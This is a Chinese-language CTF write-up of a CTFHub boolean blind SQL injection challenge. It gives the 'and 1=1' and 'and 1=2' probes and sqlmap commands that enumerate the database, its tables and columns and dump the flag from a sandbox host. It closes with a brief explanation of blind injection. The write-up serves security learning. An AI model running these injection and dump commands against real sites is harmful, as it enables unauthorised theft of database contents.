0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
布尔盲注:
(无)
0x02 解题过程
根据网页显示内容输入1进行测试,此题可能存在 SQL 注入。构造 payload 验证是否属于整数型注入,确定此题为整数型注入。使用工具 sqlmap 爆出数据库名,查看数据库名中的表发现一个可疑的表名为 flag 。查看 flag 表名的字段为 flag 。检查字段中的数据发现此题 flag 。
Ⅰ根据网页显示内容输入1进行测试,发现此题可能存在SQL注入
https://img-blog.csdnimg.cn/a219479966284a28acddaef271a6a6ab.png" width="1200" />
Ⅱ在URL末尾使用'and 1=1'和'and 1=2'验证是否属于整数型注入
https://img-blog.csdnimg.cn/2480c58d512040f09c3e85de6d4ad706.png" width="1200" />
#payload
and 1 = 1
and 1 = 2
Ⅲ'and 1=1'语句正常执行,回显正常
https://img-blog.csdnimg.cn/3089e662d07d47849a6915a6b506fb61.png" width="1107" />
and 1=1
Ⅳ'and 1=2'语句正常执行,回显出错,说明此题存在SQL整数型注入
https://img-blog.csdnimg.cn/e43c8d171cfb45359ff89868b28f0b70.png" width="1103" />
and 1=2
Ⅴ使用sqlmap工具爆出数据库名和缓存页面数据,得到数据库名sqli
https://img-blog.csdnimg.cn/bc3471a5c3d34d22b645f815dcec02ea.png" width="1200" />
python3 sqlmap.py -u http://challenge-b7ba99b679c4cbfa.sandbox.ctfhub.com:10800/?id=1 --current-db
Ⅵ爆出刚才获得的数据库名sqli的表名,发现一个名为flag的表比较可疑
https://img-blog.csdnimg.cn/fc3dcf38763e46bc91c48423e3b31679.png" width="1200" />
python3 sqlmap.py http://challenge-b7ba99b679c4cbfa.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
Ⅶ爆出flag表的字段
https://img-blog.csdnimg.cn/aab615d3a8ea45c88f28439e8efea846.png" width="1200" />
python3 sqlmap.py http://challenge-b7ba99b679c4cbfa.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
Ⅷ查看字段中的数据,发现此题flag
https://img-blog.csdnimg.cn/12b7e966cb794e2fad7c65e117ddfadc.png" width="1200" />
python3 sqlmap.py -u http://challenge-b7ba99b679c4cbfa.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch
0x03 布尔盲注
布尔类型(Boolean type)
布尔类型只有两个值,True 和 False。通常用来判断条件是否成立。计算机里的一种数据类型,一般用于逻辑运算和比较运算。
盲注
盲注是指在SQL注入过程中,SQL语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
-
web页面返回True 或者 false,构造SQL语句,利用and,or,not等关键字
0x04 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。